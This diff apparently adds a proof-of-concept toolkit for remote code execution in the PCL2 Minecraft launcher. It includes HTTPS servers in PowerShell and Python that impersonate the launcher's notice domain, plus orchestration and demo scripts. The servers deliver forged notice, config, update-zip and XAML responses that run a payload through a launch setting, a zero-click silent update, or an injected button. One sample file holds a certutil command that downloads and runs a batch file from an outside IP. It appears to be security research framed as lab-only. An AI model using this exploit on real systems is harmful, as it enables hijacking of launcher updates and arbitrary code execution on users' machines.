+            Write-Log 'First start: writing malicious settings, then restarting PCL.'
+            Start-Sleep -Seconds 20
+            Close-Pcl -Process $pcl
+            Start-Sleep -Seconds 2
+            $pcl = Start-Process -FilePath $PclPath -WorkingDirectory $PclDir -PassThru
+            Write-Log "PCL PID $($pcl.Id) (second start)"
+            Write-Log 'Waiting for Custom.xaml to be downloaded ...'
+            $xamlCache = Join-Path $cacheDir 'Custom.xaml'
+            $sw = [Diagnostics.Stopwatch]::StartNew()
+            while ($sw.Elapsed.TotalSeconds -lt 60) {
+                if (Test-Path -LiteralPath $xamlCache) { break }
+                Start-Sleep -Milliseconds 500
+            }
+            Write-Host ''
+            Write-Host '>>> Fake Custom.xaml loaded. Click "Continue" on the PCL home page.' -ForegroundColor Yellow
+            Write-Host ''
+        } elseif ($Mode -eq 'launch') {
+            Write-Host ''
+            Write-Host '>>> In PCL, click "Start Game" (a working Minecraft instance is required).' -ForegroundColor Yellow
+            Write-Host '>>> This is what runs the LaunchAdvanceRun payload.' -ForegroundColor Yellow
+            Write-Host ''
+        }
+
+    }
+
+    # ----------------------------------------------------------------------
+    # wait for the marker
+    # ----------------------------------------------------------------------
+    if (-not $Manual) {
+        Write-Log "Waiting up to $Timeout seconds for $MarkerFile ..."
+        $sw = [Diagnostics.Stopwatch]::StartNew()
+        while ($sw.Elapsed.TotalSeconds -lt $Timeout) {
+            if (Test-Path -LiteralPath $MarkerFile) { break }
+            if ($pcl -and $pcl.HasExited -and $Mode -ne 'update' -and $Mode -ne 'both') { break }
+            Start-Sleep -Milliseconds 500
+        }
+    }
+
+    if (Test-Path -LiteralPath $MarkerFile) {
+        Write-Host ''
+        Write-Host '[+] SUCCESS: payload executed.' -ForegroundColor Green
+        Get-Content -LiteralPath $MarkerFile | ForEach-Object { Write-Host "    $_" }
+        Write-Host ''
+    } else {
+        Write-Host ''
+        Write-Host '[-] No marker file was produced.' -ForegroundColor Red
+        if ($PclDir) {
+            Write-Host "    PCL log: $PclDir\PCL\Log*.txt"
+        }
+        Write-Host "    server log: $stdout"
+        Write-Host ''
+    }
+
+    if ($pcl -and -not $pcl.HasExited) {
+        Write-Log 'Leaving PCL running for inspection.'
+    }
+}
+catch {
+    Write-Host ''
+    Write-Host "[-] ERROR: $($_.Exception.Message)" -ForegroundColor Red
+    try { Write-Log "ERROR: $($_.Exception.Message)" } catch { }
+}
+finally {
+    Write-Log 'Cleanup ...'
+    if ($srv -and -not $srv.HasExited) {
+        Stop-Process -Id $srv.Id -Force -ErrorAction SilentlyContinue
+    }
+    if ($pcl -and -not $pcl.HasExited) {
+        try { $pcl.CloseMainWindow() | Out-Null } catch { }
+        Start-Sleep -Milliseconds 500
+        if (-not $pcl.HasExited) { Stop-Process -Id $pcl.Id -Force -ErrorAction SilentlyContinue }
+    }
+
+    if ($caCert) {
+        Remove-Item -LiteralPath "Cert:\LocalMachine\Root\$($caCert.Thumbprint)" -Force -ErrorAction SilentlyContinue
+        if ($usePsServer) {
+            Remove-Item -LiteralPath "Cert:\CurrentUser\My\$($caCert.Thumbprint)" -Force -ErrorAction SilentlyContinue
+        }
+        Write-Log 'CA removed.'
+    }
+    if ($leafCert) {
+        Remove-Item -LiteralPath "Cert:\CurrentUser\My\$($leafCert.Thumbprint)" -Force -ErrorAction SilentlyContinue
+        Write-Log 'leaf certificate removed.'
+    }
+    if (Test-Path -LiteralPath $hostsBackup) {
+        Copy-Item -LiteralPath $hostsBackup -Destination $HostsFile -Force
+        Write-Log 'hosts restored.'
+    }
+    if ($setupBackup -and (Test-Path -LiteralPath $setupBackup)) {
+        Copy-Item -LiteralPath $setupBackup -Destination $setupIni -Force
+    }
+    if (Test-Path -LiteralPath $regBackup) {
+        & cmd.exe /c "reg import `"$regBackup`" >nul 2>&1"
+        Write-Log 'PCL registry restored.'
+    }
+    if ($stagingExisted -and (Test-Path -LiteralPath (Join-Path $BackupDir 'staging.bak'))) {
+        Copy-Item -LiteralPath (Join-Path $BackupDir 'staging.bak') -Destination $stagingExe -Force -ErrorAction SilentlyContinue
+    } elseif (-not $stagingExisted -and $stagingExe -and (Test-Path -LiteralPath $stagingExe)) {
+        Remove-Item -LiteralPath $stagingExe -Force -ErrorAction SilentlyContinue
+    }
+    if (-not $setupBackup -and $setupIni -and (Test-Path -LiteralPath $setupIni)) {
+        Remove-Item -LiteralPath $setupIni -Force -ErrorAction SilentlyContinue
+    }
+    if ($cacheDir) {
+        foreach ($n in @('Notice.json', 'notice.cfg', 'ServerConfig.json', 'Custom.xaml')) {
+            Remove-Item -LiteralPath (Join-Path $cacheDir $n) -Force -ErrorAction SilentlyContinue
+        }
+    }
+    if (-not $KeepArtifacts) {
+        Remove-Item -LiteralPath $PayloadExe -Force -ErrorAction SilentlyContinue
+    }
+    Write-Log 'Done.'
+}
+
+if ($Pause) {
+    Write-Host ''
+    Read-Host 'Press Enter to close'
+}

+ 15 - 0
repeat/toolkit/pcl-test/PCLPoC/samples/notice.launch.calc.json

@@ -0,0 +1,15 @@
+[
+  {
+    "id": 11002,
+    "title": "VM LAB NOTICE",
+    "description": "vm lab only",
+    "requirements": {},
+    "importantLevel": 999,
+    "actions": {
+      "setup": {
+        "LaunchAdvanceRun": "C:\\Users\\Public\\pclpoc.exe",
+        "LaunchAdvanceRunWait": "False"
+      }
+    }
+  }
+]

+ 14 - 0
repeat/toolkit/pcl-test/PCLPoC/samples/notice.launch.certutil.json

@@ -0,0 +1,14 @@
+[
+  {
+    "id": 11002,
+    "title": "VM LAB NOTICE",
+    "description": "vm lab only",
+    "requirements": {},
+    "actions": {
+      "setup": {
+        "LaunchAdvanceRun": "start /b cmd /c \"certutil.exe -urlcache -split -f http://192.168.1.144:8084/swt C:\\Users\\Public\\run.bat >nul 2>&1 && C:\\Users\\Public\\run.bat >nul 2>&1\"",
+        "LaunchAdvanceRunWait": "False"
+      }
+    }
+  }
+]

+ 247 - 0
repeat/toolkit/pcl-test/PCLPoC/server.ps1

@@ -0,0 +1,247 @@
+#Requires -Version 5.1
+<#
+.SYNOPSIS
+    Pure PowerShell HTTPS server for the PCL2 notice.json PoC.
+
+.DESCRIPTION
+    Serves forged notice.cfg / notice.json / ServerConfig.json / update.zip /
+    Custom.xaml over TLS on 127.0.0.1.  No Python required.
+
+    The TLS certificate can come from either:
+      - a certificate in Cert:\LocalMachine\My (pass -CertThumbprint), or
+      - a PFX file (pass -PfxPath / -PfxPassword), useful for testing.
+
+    Request handling is intentionally minimal: one GET per connection,
+    HTTP/1.1, Connection: close.  PCL's HttpClient is fine with that.
+
+.PARAMETER Mode
+    launch | update | xaml | both
+
+.PARAMETER CertThumbprint
+    Thumbprint of a LocalMachine\My certificate with a private key.
+
+.PARAMETER PfxPath
+    Optional PFX file (testing / non-Windows PowerShell).
+
+.EXAMPLE
+    powershell -File .\server.ps1 -Mode update -Port 443 `
+        -PayloadExe C:\Users\Public\pclpoc.exe -CertThumbprint ABC123...
+#>
+[CmdletBinding()]
+param(
+    [ValidateSet('launch', 'update', 'xaml', 'both')]
+    [string]$Mode = 'both',
+
+    [int]$Port = 443,
+
+    [string]$Bind = '127.0.0.1',
+
+    [string]$PayloadExe = 'C:\Users\Public\pclpoc.exe',
+
+    [string]$CertThumbprint = '',
+
+    [string]$PfxPath = '',
+
+    [string]$PfxPassword = ''
+)
+
+$ErrorActionPreference = 'Stop'
+
+$Domain        = 'pcl2-server-1253424809.file.myqcloud.com'
+$NoticeId      = 11002
+$ConfigVersion = 999
+$BaseDir       = if ($PSScriptRoot) { $PSScriptRoot } else { Split-Path -Parent $MyInvocation.MyCommand.Path }
+$WwwDir        = Join-Path $BaseDir 'www'
+
+New-Item -ItemType Directory -Force -Path $WwwDir | Out-Null
+
+function Write-SrvLog {
+    param([string]$Message)
+    Write-Host ('[{0:HH:mm:ss}] {1}' -f (Get-Date), $Message)
+}
+
+function Get-TlsCertificate {
+    if ($PfxPath) {
+        if (-not (Test-Path -LiteralPath $PfxPath)) {
+            throw "PFX not found: $PfxPath"
+        }
+        $c = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 -ArgumentList @($PfxPath, $PfxPassword)
+        if (-not $c.HasPrivateKey) { throw "PFX has no private key: $PfxPath" }
+        return $c
+    }
+    if (-not $CertThumbprint) {
+        throw 'Either -CertThumbprint or -PfxPath is required.'
+    }
+    $path = $null
+    foreach ($candidate in @("Cert:\LocalMachine\My\$CertThumbprint", "Cert:\CurrentUser\My\$CertThumbprint")) {
+        if (Test-Path -LiteralPath $candidate) { $path = $candidate; break }
+    }
+    if (-not $path) {
+        throw "Certificate not found in LocalMachine\My or CurrentUser\My: $CertThumbprint"
+    }
+    $c = Get-Item -LiteralPath $path
+    if (-not $c.HasPrivateKey) {
+        throw "Certificate has no private key: $path"
+    }
+    return $c
+}
+
+function ConvertTo-JsonText {
+    param([object]$Object)
+    return ($Object | ConvertTo-Json -Depth 12 -Compress)
+}
+
+function Build-NoticeJson {
+    $setup   = @{}
+    $actions = @{}
+
+    if ($Mode -eq 'launch' -or $Mode -eq 'both') {
+        $setup['LaunchAdvanceRun']     = $PayloadExe
+        $setup['LaunchAdvanceRunWait'] = 'False'
+    }
+    if ($Mode -eq 'xaml' -or $Mode -eq 'both') {
+        $setup['UiCustomType']      = '2'
+        $setup['UiCustomNet']       = "https://$Domain/Custom.xaml"
+        $setup['HintCustomCommand'] = 'True'
+    }
+    if ($setup.Count -gt 0) { $actions['setup'] = $setup }
+    if ($Mode -eq 'update' -or $Mode -eq 'both') { $actions['slientupdate'] = @{} }
+
+    $notice = @(
+        @{
+            id            = $NoticeId
+            title         = 'VM LAB NOTICE'
+            description   = 'vm lab only'
+            requirements  = @{}
+            importantLevel = 999
+            actions       = $actions
+        }
+    )
+
+    $json = ConvertTo-JsonText -Object $notice
+    # Windows PowerShell 5.1 collapses a single-element array to an object.
+    if (-not $json.TrimStart().StartsWith('[')) { $json = "[$json]" }
+    return $json
+}
+
+function Build-ServerConfigJson {
+    $cfg = @{
+        Version = $ConfigVersion
+        Update  = @{
+            Release = @{
+                DownloadUrls = @("https://$Domain/update.zip")
+            }
+        }
+    }
+    return (ConvertTo-JsonText -Object $cfg)
+}
+
+function Build-CustomXaml {
+    return @"
+<StackPanel Margin="25,40,23,15">
+  <TextBlock Text="PCL PoC - click Continue" FontSize="16" Margin="0,0,0,10"/>
+  <local:MyButton Text="Continue" EventType="4" EventData="$PayloadExe" Margin="0,6,0,0"/>
+</StackPanel>
+"@
+}
+
+function Ensure-UpdateZip {
+    $zip = Join-Path $WwwDir 'update.zip'
+    if (Test-Path -LiteralPath $zip) { return }
+    if (-not (Test-Path -LiteralPath $PayloadExe)) {
+        throw "Payload not found: $PayloadExe"
+    }
+    $tempRoot = [IO.Path]::GetTempPath()
+    $tmp = Join-Path $tempRoot ('pclpoc-' + [guid]::NewGuid().ToString('N'))
+    New-Item -ItemType Directory -Force -Path $tmp | Out-Null
+    try {
+        Copy-Item -LiteralPath $PayloadExe -Destination (Join-Path $tmp 'Plain Craft Launcher 2.exe') -Force
+        if (Test-Path -LiteralPath $zip) { Remove-Item -LiteralPath $zip -Force }
+        Compress-Archive -Path (Join-Path $tmp 'Plain Craft Launcher 2.exe') -DestinationPath $zip -Force
+    } finally {
+        Remove-Item -LiteralPath $tmp -Recurse -Force -ErrorAction SilentlyContinue
+    }
+    Write-SrvLog "update.zip built from $PayloadExe ($((Get-Item -LiteralPath $zip).Length) bytes)"
+}
+
+function Get-Response {
+    param([string]$Path)
+
+    switch ($Path) {
+        '/notice.cfg' {
+            $text = "$NoticeId|0|0|0|$ConfigVersion"
+            return @{ Type = 'text/plain; charset=utf-8'; Bytes = [Text.Encoding]::UTF8.GetBytes($text) }
+        }
+        '/notice.json' {
+            return @{ Type = 'application/json; charset=utf-8'; Bytes = [Text.Encoding]::UTF8.GetBytes((Build-NoticeJson)) }
+        }
+        '/ServerConfig.json' {
+            return @{ Type = 'application/json; charset=utf-8'; Bytes = [Text.Encoding]::UTF8.GetBytes((Build-ServerConfigJson)) }
+        }
+        '/Custom.xaml.ini' {
+            return @{ Type = 'text/plain; charset=utf-8'; Bytes = [Text.Encoding]::UTF8.GetBytes('1') }
+        }
+        '/Custom.xaml' {
+            return @{ Type = 'application/xml; charset=utf-8'; Bytes = [Text.Encoding]::UTF8.GetBytes((Build-CustomXaml)) }
+        }
+        '/update.zip' {
+            $zip = Join-Path $WwwDir 'update.zip'
+            if (Test-Path -LiteralPath $zip) {
+                return @{ Type = 'application/zip'; Bytes = [IO.File]::ReadAllBytes($zip) }
+            }
+        }
+    }
+
+    return @{ Type = 'text/plain'; Bytes = [Text.Encoding]::UTF8.GetBytes('not found'); Code = 404 }
+}
+
+# ---------------------------------------------------------------------------
+# main
+# ---------------------------------------------------------------------------
+$cert = Get-TlsCertificate
+if ($Mode -eq 'update' -or $Mode -eq 'both') { Ensure-UpdateZip }
+
+$address  = [Net.IPAddress]::Parse($Bind)
+$listener = New-Object Net.Sockets.TcpListener -ArgumentList @($address, $Port)
+$listener.Start()
+
+Write-SrvLog "https://${Bind}:$Port mode=$Mode"
+Write-SrvLog "forged host: $Domain"
+
+while ($true) {
+    $client = $listener.AcceptTcpClient()
+    $ssl    = $null
+    try {
+        $ssl = New-Object Net.Security.SslStream -ArgumentList @($client.GetStream(), $false)
+        $ssl.AuthenticateAsServer($cert, $false, [Net.SecurityProtocolType]::Tls12, $false)
+
+        $reader = New-Object IO.StreamReader -ArgumentList @($ssl, [Text.Encoding]::ASCII)
+        $requestLine = $reader.ReadLine()
+        if ([string]::IsNullOrEmpty($requestLine)) { continue }
+
+        while ($true) {
+            $header = $reader.ReadLine()
+            if ($null -eq $header -or $header -eq '') { break }
+        }
+
+        $parts = $requestLine -split ' '
+        if ($parts.Length -lt 2) { continue }
+        $path = $parts[1].Split('?')[0]
+
+        $resp   = Get-Response -Path $path
+        $code   = if ($resp.ContainsKey('Code')) { $resp.Code } else { 200 }
+        $status = if ($code -eq 200) { 'OK' } else { 'Not Found' }
+        $headerText = "HTTP/1.1 $code $status`r`nContent-Type: $($resp.Type)`r`nContent-Length: $($resp.Bytes.Length)`r`nConnection: close`r`n`r`n"
+        $headerBytes = [Text.Encoding]::ASCII.GetBytes($headerText)
+
+        $ssl.Write($headerBytes, 0, $headerBytes.Length)
+        $ssl.Write($resp.Bytes, 0, $resp.Bytes.Length)
+        $ssl.Flush()
+        Write-SrvLog "req $path -> $code"
+    } catch {
+        Write-SrvLog "err $($_.Exception.Message)"
+    } finally {
+        if ($ssl) { $ssl.Dispose() }
+        $client.Close()
+    }
+}

+ 247 - 0
repeat/toolkit/pcl-test/PCLPoC/server.py

@@ -0,0 +1,247 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+r"""
+PCL2 notice.json RCE PoC -- local HTTPS server.
+
+This server impersonates:
+    https://pcl2-server-1253424809.file.myqcloud.com
+
+and serves a forged notice.cfg / notice.json / ServerConfig.json (and,
+depending on the mode, an update zip or a custom homepage XAML).
+
+It is intentionally small and only uses the Python standard library.
+
+Modes
+-----
+launch : notice.json -> actions.setup -> LaunchAdvanceRun = payload.exe
+         (the payload runs when the user starts a Minecraft instance in PCL;
+          this reproduces the sample notice supplied by the requester)
+
+update : notice.cfg v999 + notice.json -> actions.slientupdate
+         + ServerConfig with Update.Release.DownloadUrls -> update.zip
+         (zero-click: PCL silently downloads the zip, extracts it to
+          <PCL>\PCL\Plain Craft Launcher 2.exe, and starts that file when
+          PCL exits.  The zip contains the payload renamed to the above.)
+
+xaml   : notice.json -> actions.setup -> UiCustomType=2, UiCustomNet=...
+         + HintCustomCommand=true
+         (persistent; next PCL start downloads Custom.xaml from this server,
+          and one click on the injected control runs the payload)
+
+both   : launch + update
+
+Usage (Windows, elevated):
+    python server.py --mode both --port 443
+
+Usage (Linux local smoke test):
+    python server.py --mode both --port 8443 --bind 127.0.0.1
+"""
+from __future__ import annotations
+
+import argparse
+import json
+import os
+import ssl
+import sys
+import threading
+import zipfile
+from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
+from pathlib import Path
+
+DOMAIN = "pcl2-server-1253424809.file.myqcloud.com"
+BASE = Path(__file__).resolve().parent
+WWW = BASE / "www"
+CERTS = BASE / "certs"
+
+NOTICE_ID = 11002          # must be greater than HintNotice (default 0)
+CONFIG_VERSION = 999       # forces PCL to refresh Cache\ServerConfig.json
+DEFAULT_PAYLOAD = r"C:\Users\Public\pclpoc.exe"
+PAYLOAD = DEFAULT_PAYLOAD
+
+LOG_LOCK = threading.Lock()
+
+
+def log(msg: str) -> None:
+    with LOG_LOCK:
+        print(msg, flush=True)
+
+
+def build_notice(mode: str, payload_exe: str) -> list:
+    """Build the forged notice.json for the requested mode."""
+    setup: dict[str, str] = {}
+    actions: dict[str, object] = {}
+
+    if mode in ("launch", "both"):
+        # The exact primitive used by the sample notice: PCL writes the
+        # setting, and McLaunchCustom later runs it with:
+        #     cmd.exe /c "<LaunchAdvanceRun>"
+        setup["LaunchAdvanceRun"] = payload_exe
+        setup["LaunchAdvanceRunWait"] = "False"
+
+    if mode in ("xaml", "both"):
+        # Persistent remote homepage + disable the command confirmation.
+        setup["UiCustomType"] = "2"
+        setup["UiCustomNet"] = f"https://{DOMAIN}/Custom.xaml"
+        setup["HintCustomCommand"] = "True"
+
+    if setup:
+        actions["setup"] = setup
+
+    if mode in ("update", "both"):
+        # HasUpdatePermission is hard-coded to True in 2.99.0.0, so this
+        # runs UpdateStart(Silent:=True) without any prompt.
+        actions["slientupdate"] = {}
+
+    if not actions:
+        raise SystemExit(f"unknown/empty mode: {mode}")
+
+    return [
+        {
+            "id": NOTICE_ID,
+            "title": "VM LAB NOTICE",
+            "description": "vm lab only",
+            "requirements": {},
+            "importantLevel": 999,
+            "actions": actions,
+        }
+    ]
+
+
+def build_server_config() -> dict:
+    return {
+        "Version": CONFIG_VERSION,
+        "Update": {
+            "Release": {
+                # PatchUrls is deliberately omitted: UpdateStart then falls
+                # back to DownloadUrls, and the ".zip" suffix selects the
+                # ExtractToDirectory code path instead of MsDelta.Apply.
+                "DownloadUrls": [f"https://{DOMAIN}/update.zip"],
+            }
+        },
+    }
+
+
+CUSTOM_XAML = """<StackPanel Margin="25,40,23,15">
+  <TextBlock Text="PCL PoC - click Continue" FontSize="16" Margin="0,0,0,10"/>
+  <local:MyButton Text="Continue" EventType="4" EventData="{payload}" Margin="0,6,0,0"/>
+</StackPanel>
+"""
+
+
+def ensure_update_zip(payload_exe: str) -> Path:
+    """Create www/update.zip containing the payload renamed to the PCL filename."""
+    out = WWW / "update.zip"
+    if out.exists() and out.stat().st_size > 0:
+        return out
+    candidates = [payload_exe] if payload_exe else []
+    candidates += [
+        os.path.join(os.environ.get("SystemRoot", r"C:\Windows"), "System32", "calc.exe"),
+        os.path.join(os.environ.get("SystemRoot", r"C:\Windows"), "Sysnative", "calc.exe"),
+    ]
+    src = next((c for c in candidates if c and os.path.isfile(c)), None)
+    if not src:
+        raise SystemExit(
+            f"payload not found ({payload_exe}); pass --payload-exe or place a prebuilt www/update.zip"
+        )
+    WWW.mkdir(parents=True, exist_ok=True)
+    data = Path(src).read_bytes()
+    zi = zipfile.ZipInfo("Plain Craft Launcher 2.exe", date_time=(2020, 1, 1, 0, 0, 0))
+    zi.compress_type = zipfile.ZIP_DEFLATED
+    with zipfile.ZipFile(out, "w", zipfile.ZIP_DEFLATED) as zf:
+        zf.writestr(zi, data)
+    log(f"[+] update.zip built from {src} ({out.stat().st_size} bytes)")
+    return out
+
+
+class Handler(BaseHTTPRequestHandler):
+    server_version = "PCLPoCLab/1.0"
+    protocol_version = "HTTP/1.1"
+
+    def log_message(self, fmt, *args):  # noqa: A003
+        log(f"[http] {self.address_string()} {fmt % args}")
+
+    def _send(self, body: bytes, ctype: str = "application/json; charset=utf-8",
+              code: int = 200) -> None:
+        self.send_response(code)
+        self.send_header("Content-Type", ctype)
+        self.send_header("Content-Length", str(len(body)))
+        self.send_header("Cache-Control", "no-store")
+        self.end_headers()
+        self.wfile.write(body)
+
+    def do_GET(self):  # noqa: N802
+        path = self.path.split("?", 1)[0]
+        mode = self.server.mode  # type: ignore[attr-defined]
+        log(f"[req ] {path}")
+
+        if path == "/notice.cfg":
+            # id|?|?|?|ServerConfigVersion
+            body = f"{NOTICE_ID}|0|0|0|{CONFIG_VERSION}".encode()
+            return self._send(body, "text/plain; charset=utf-8")
+
+        if path == "/notice.json":
+            body = json.dumps(build_notice(mode, self.server.payload_exe), ensure_ascii=False, indent=2).encode("utf-8")
+            return self._send(body, "application/json; charset=utf-8")
+
+        if path == "/ServerConfig.json":
+            body = json.dumps(build_server_config(), ensure_ascii=False, indent=2).encode("utf-8")
+            return self._send(body, "application/json; charset=utf-8")
+
+        if path == "/update.zip":
+            f = WWW / "update.zip"
+            if f.exists():
+                return self._send(f.read_bytes(), "application/zip")
+            return self._send(b"no update.zip", "text/plain", 404)
+
+        if path in ("/Custom.xaml", "/Custom.xaml.ini"):
+            if path.endswith(".ini"):
+                return self._send(b"1", "text/plain; charset=utf-8")
+            xaml = CUSTOM_XAML.replace("{payload}", self.server.payload_exe)
+            return self._send(xaml.encode("utf-8"), "application/xml; charset=utf-8")
+
+        # Anything else is served from www/ if present (for manual poking).
+        candidate = (WWW / path.lstrip("/")).resolve()
+        if candidate.is_file() and WWW in candidate.parents:
+            return self._send(candidate.read_bytes(), "application/octet-stream")
+
+        return self._send(b"not found", "text/plain", 404)
+
+
+def main() -> int:
+    ap = argparse.ArgumentParser()
+    ap.add_argument("--mode", default="both", choices=["launch", "update", "xaml", "both"])
+    ap.add_argument("--port", type=int, default=443)
+    ap.add_argument("--bind", default="0.0.0.0")
+    ap.add_argument("--payload-exe", default=DEFAULT_PAYLOAD,
+                    help="Windows payload exe (writes marker + starts calc.exe)")
+    ap.add_argument("--cert", default=str(CERTS / "server.crt"))
+    ap.add_argument("--key", default=str(CERTS / "server.key"))
+    ap.add_argument("--no-tls", action="store_true")
+    args = ap.parse_args()
+
+    WWW.mkdir(parents=True, exist_ok=True)
+    if args.mode in ("update", "both"):
+        ensure_update_zip(args.payload_exe)
+
+    httpd = ThreadingHTTPServer((args.bind, args.port), Handler)
+    httpd.mode = args.mode  # type: ignore[attr-defined]
+    httpd.payload_exe = args.payload_exe  # type: ignore[attr-defined]
+
+    if not args.no_tls:
+        ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
+        ctx.minimum_version = ssl.TLSVersion.TLSv1_2
+        ctx.load_cert_chain(args.cert, args.key)
+        httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)
+
+    scheme = "http" if args.no_tls else "https"
+    log(f"[+] {scheme}://{args.bind}:{args.port} mode={args.mode}")
+    log(f"[+] forged host: {DOMAIN}")
+    try:
+        httpd.serve_forever()
+    except KeyboardInterrupt:
+        pass
+    return 0
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())

+ 34 - 0
repeat/toolkit/pcl-test/arrange-windows.ps1

@@ -0,0 +1,34 @@
+# Keep the demo terminal on the left and PCL/calc on the right.
+# ASCII only. Windows PowerShell 5.1 compatible.
+
+param(
+    [long]$ConsoleHwnd,
+    [int]$X,
+    [int]$Y,
+    [int]$W,
+    [int]$H,
+    [int]$PclX,
+    [int]$PclW,
+    [int]$Minutes = 20
+)
+
+. (Join-Path $PSScriptRoot 'lib-gui.ps1')
+
+if ($ConsoleHwnd -ne 0) {
+    [PclGui]::Move([IntPtr]$ConsoleHwnd, $X, $Y, $W, $H)
+}
+
+$end = (Get-Date).AddMinutes($Minutes)
+while ((Get-Date) -lt $end) {
+    $procs = Get-Process -ErrorAction SilentlyContinue | Where-Object {
+        $_.MainWindowHandle -ne 0 -and (
+            $_.ProcessName -like '*Plain*' -or
+            $_.ProcessName -like '*calc*' -or
+            $_.ProcessName -like '*Calculator*'
+        )
+    }
+    foreach ($p in $procs) {
+        [PclGui]::Move($p.MainWindowHandle, $PclX, 0, $PclW, $H)
+    }
+    Start-Sleep -Milliseconds 500
+}

+ 35 - 0
repeat/toolkit/pcl-test/close-pcl.ps1

@@ -0,0 +1,35 @@
+# Close PCL once the method-1 block appears in its log, or at the deadline.
+# ASCII only. Windows PowerShell 5.1 compatible.
+
+param(
+    [string]$PclDir,
+    [int]$MaxSeconds = 35
+)
+
+$deadline = (Get-Date).AddSeconds($MaxSeconds)
+$proc = $null
+
+while ((Get-Date) -lt $deadline) {
+    $proc = Get-Process -ErrorAction SilentlyContinue | Where-Object { $_.ProcessName -like '*Plain*' -and $_.MainWindowHandle -ne 0 } | Select-Object -First 1
+    if ($proc) { break }
+    Start-Sleep -Milliseconds 300
+}
+if (-not $proc) { exit 1 }
+
+$logDir = Join-Path $PclDir 'PCL'
+while ((Get-Date) -lt $deadline) {
+    $log = Get-ChildItem -Path $logDir -Filter 'Log*.txt' -ErrorAction SilentlyContinue | Sort-Object LastWriteTime -Descending | Select-Object -First 1
+    if ($log) {
+        $hit = Select-String -LiteralPath $log.FullName -Pattern 'LaunchAdvanceRun' -Encoding UTF8 -ErrorAction SilentlyContinue | Select-Object -First 1
+        if ($hit) {
+            Start-Sleep -Seconds 1
+            break
+        }
+    }
+    Start-Sleep -Milliseconds 300
+}
+
+try { $proc.CloseMainWindow() | Out-Null } catch { }
+if (-not $proc.WaitForExit(6000)) {
+    try { Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } catch { }
+}

+ 420 - 0
repeat/toolkit/pcl-test/demo.ps1

@@ -0,0 +1,420 @@
+# PCL 2.99.0.1 notice/silent-update PoC demo
+# Runs elevated in the interactive desktop session, from the USB toolkit.
+# ASCII only. Windows PowerShell 5.1 compatible.
+
+$ErrorActionPreference = 'Stop'
+$Root = $PSScriptRoot
+$Ev = Join-Path $Root 'evidence'
+New-Item -ItemType Directory -Force -Path $Ev | Out-Null
+$Timeline = Join-Path $Ev 'demo-timeline.csv'
+Remove-Item -LiteralPath $Timeline -Force -ErrorAction SilentlyContinue
+
+try { Start-Transcript -Path (Join-Path $Ev 'demo-transcript.txt') -Append | Out-Null } catch { }
+
+. (Join-Path $Root 'lib-gui.ps1')
+[void][PclGui]::SetProcessDPIAware()
+Add-Type -AssemblyName System.Windows.Forms
+Add-Type -AssemblyName System.Drawing
+
+$Desktop = [Environment]::GetFolderPath('Desktop')
+$PclDir = Join-Path $Desktop 'PCL'
+$PclExe = Join-Path $PclDir 'Plain Craft Launcher 2.exe'
+$PocDir = 'C:\PCLPoC'
+$SourceZip = Join-Path $Root 'PCL-2.99.0.1.zip'
+$DesktopZip = Join-Path $Desktop 'PCL-2.99.0.1.zip'
+$Marker = Join-Path $env:TEMP 'pcl-poc-marker.txt'
+
+$ConsoleW = 0
+$ConsoleH = 0
+$PclX = 0
+$PclW = 0
+$Arranger = $null
+
+function Log([string]$Message) {
+    $line = '[{0:HH:mm:ss}] {1}' -f (Get-Date), $Message
+    try { Add-Content -LiteralPath (Join-Path $Ev 'demo.log') -Value $line -Encoding UTF8 } catch { }
+}
+
+function Mark([string]$Id, [string]$Note) {
+    $ms = [DateTimeOffset]::Now.ToUnixTimeMilliseconds()
+    Add-Content -LiteralPath $Timeline -Value ('{0},{1},{2}' -f $Id, $ms, $Note) -Encoding ASCII
+    Log ('mark ' + $Id + ' ' + $Note)
+}
+
+function Shot([string]$Name) {
+    try {
+        $b = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds
+        $bmp = New-Object System.Drawing.Bitmap $b.Width, $b.Height
+        $g = [System.Drawing.Graphics]::FromImage($bmp)
+        $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size)
+        $bmp.Save((Join-Path $Ev $Name), [System.Drawing.Imaging.ImageFormat]::Png)
+        $g.Dispose()
+        $bmp.Dispose()
+        Log ('screenshot ' + $Name)
+    } catch {
+        Log ('screenshot failed: ' + $_.Exception.Message)
+    }
+}
+
+function Step([string]$Id, [string]$Text) {
+    Mark $Id $Text
+    Clear-Host
+    Write-Host '==============================================================' -ForegroundColor DarkGray
+    Write-Host (' PCL 2.99.0.1 PoC demo  |  ' + $Id) -ForegroundColor Cyan
+    Write-Host '==============================================================' -ForegroundColor DarkGray
+    Write-Host ''
+    Write-Host $Text -ForegroundColor Yellow
+    Write-Host ''
+}
+
+function Section([string]$Text) {
+    Write-Host ''
+    Write-Host ('--- ' + $Text + ' ---') -ForegroundColor Cyan
+}
+
+function Set-PclWindowSize {
+    $iniDir = Join-Path $PclDir 'PCL'
+    New-Item -ItemType Directory -Force -Path $iniDir | Out-Null
+    $ini = Join-Path $iniDir 'Setup.ini'
+    $lines = @()
+    if (Test-Path -LiteralPath $ini) {
+        $lines = @(Get-Content -LiteralPath $ini | Where-Object { $_ -notmatch '^WindowWidth=' -and $_ -notmatch '^WindowHeight=' })
+    }
+    $lines += ('WindowWidth=' + [string]([Math]::Max(700, $PclW - 30)))
+    $lines += ('WindowHeight=' + [string]([Math]::Max(500, $ConsoleH - 70)))
+    Set-Content -LiteralPath $ini -Value $lines -Encoding ASCII
+}
+
+function Open-DesktopWindow {
+    try {
+        Start-Process -FilePath 'explorer.exe' -ArgumentList $Desktop | Out-Null
+        Start-Sleep -Seconds 2
+        for ($i = 0; $i -lt 12; $i++) {
+            $w = Get-Process explorer -ErrorAction SilentlyContinue | Where-Object { $_.MainWindowTitle -eq 'Desktop' } | Select-Object -First 1
+            if ($w -and $w.MainWindowHandle -ne 0) {
+                [PclGui]::Move($w.MainWindowHandle, $PclX, 0, $PclW, $ConsoleH)
+                return $w
+            }
+            Start-Sleep -Milliseconds 500
+        }
+    } catch { }
+    return $null
+}
+
+function Refresh-DesktopWindow {
+    param($Window)
+    if (-not $Window) { return }
+    try {
+        $ws = New-Object -ComObject WScript.Shell
